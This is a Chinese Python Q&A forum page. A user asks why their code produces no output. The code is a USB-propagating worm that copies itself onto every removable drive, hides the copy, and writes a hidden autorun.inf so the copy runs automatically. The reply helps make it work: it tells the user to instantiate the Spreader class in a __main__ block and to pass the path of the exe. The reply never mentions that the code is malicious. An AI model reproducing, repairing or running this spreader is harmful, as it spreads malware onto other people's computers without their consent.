无法编译我的Python cod

2024-05-14 09:26:05 发布

您现在位置:Python中文网/ 问答频道 /正文

你好,我正试图编译这段代码,但我没有让它编译任何东西,我没有得到任何编译错误,但也没有结果,文件夹只与.py文件

import win32api
import win32con
import win32file
import sys
import os

class Spreader(object):
    def __init__(self, path):     # path must be absolute
      print (" [*] Checking information")

      self.filename = path.split("\\")[-1]
      self.driveFilename = self.filename

      if not self.driveFilename.startswith("~"):
        self.driveFilename = "~" + self.driveFilename

      print ("\t- Local filename: ") + self.filename
      print ("\t- Driver filename: ") + self.driveFilename

      self.path = "\\".join(path.split("\\")[:-1]) + "\\" + self.filename

      print ("\t- Full path: ") + self.path

      print ("\n [*] Getting removable drives")
      self.drives = self.__getRemovableDrives()

      if len(self.drives) == None:
        print (" [-] No removable drives available")
      sys.exit()

      for drive in self.drives:
        print ("\t- ") + drive

      print ("\n [*] Spreading")
      self.__spread()

      print ("\n [+] Successfully spread")

    def __getRemovableDrives(self):
      removableDrives = []
      drives = win32api.GetLogicalDriveStrings().split("\000")[:-1]

      for drive in drives:
        driveType = win32file.GetDriveType(drive)

      if driveType == win32file.DRIVE_REMOVABLE:
            removableDrives.append(drive)

      return removableDrives

    def __spread(self):
      for drive in self.drives:

        if drive == "A:\\":
            continue

      else:

            driveFile = drive + self.driveFilename
            driveAutorun = drive + "autorun.inf"

            print (" [+] ") + drive

            if not os.path.exists(driveFile):
              self.__copyFile(driveFile)

            if not os.path.exists(driveAutorun):
              self.__createAutorun(driveAutorun)

    def __copyFile(self, driveFile):
      print ("\t- Copying file: ") + self.driveFilename,
      win32file.CopyFile(self.path, driveFile, 0)
      print ("\t\t\tDONE")

      print ("\t- Hidding file"),
      win32api.SetFileAttributes(driveFile,\
             win32con.FILE_ATTRIBUTE_HIDDEN)
      print ("\t\t\tDONE")

    def __createAutorun(self, driveAutorun):
      print ("\t- Creating autorun.inf"),
      autorun = open(driveAutorun, "w")
      content = """[Autorun]
open={0}
icon={0}
label=Python Spreader
UseAutoPlay=1
action=Start my App
action=@{0}
shell\open=Open
shell\open\Command={0}
shell\explore=explore
shell\explore\command={0}""".format(self.driveFilename)
      autorun.write(content)
      autorun.close()
      print ("\t\t\tDONE")

      print ("\t- Hidding autorun"),
      win32api.SetFileAttributes(driveAutorun,\
             win32con.FILE_ATTRIBUTE_HIDDEN)
      print ("\t\t\tDONE")

有人能帮我吗?在


Tags: pathimportselfifdefdrivefilenameprint
1条回答
网友
1楼 · 发布于 2024-05-14 09:26:05

您已经编写了代码,但您从未在任何地方调用类及其方法。因此,python只创建类对象etc,然后对它不做任何其他操作,因为没有更多的指令要执行。在

我认为,至少应该添加以下代码,以查看代码给出的输出/错误:

if __name__ == "__main__":
    spread = Spreader(some_path)

请注意,您正在使用__method约定创建方法名,即means they are being name scrambled。在

因为您正在复制文件,所以您可以给出实际的文件路径(被复制的exe的完整路径)来代替上面的some_path,这应该可以。如果没有,则需要使用pdb进行更深入的调试。在

最后,需要将^{} block放在脚本的末尾。在

相关问题 更多 >

    热门问题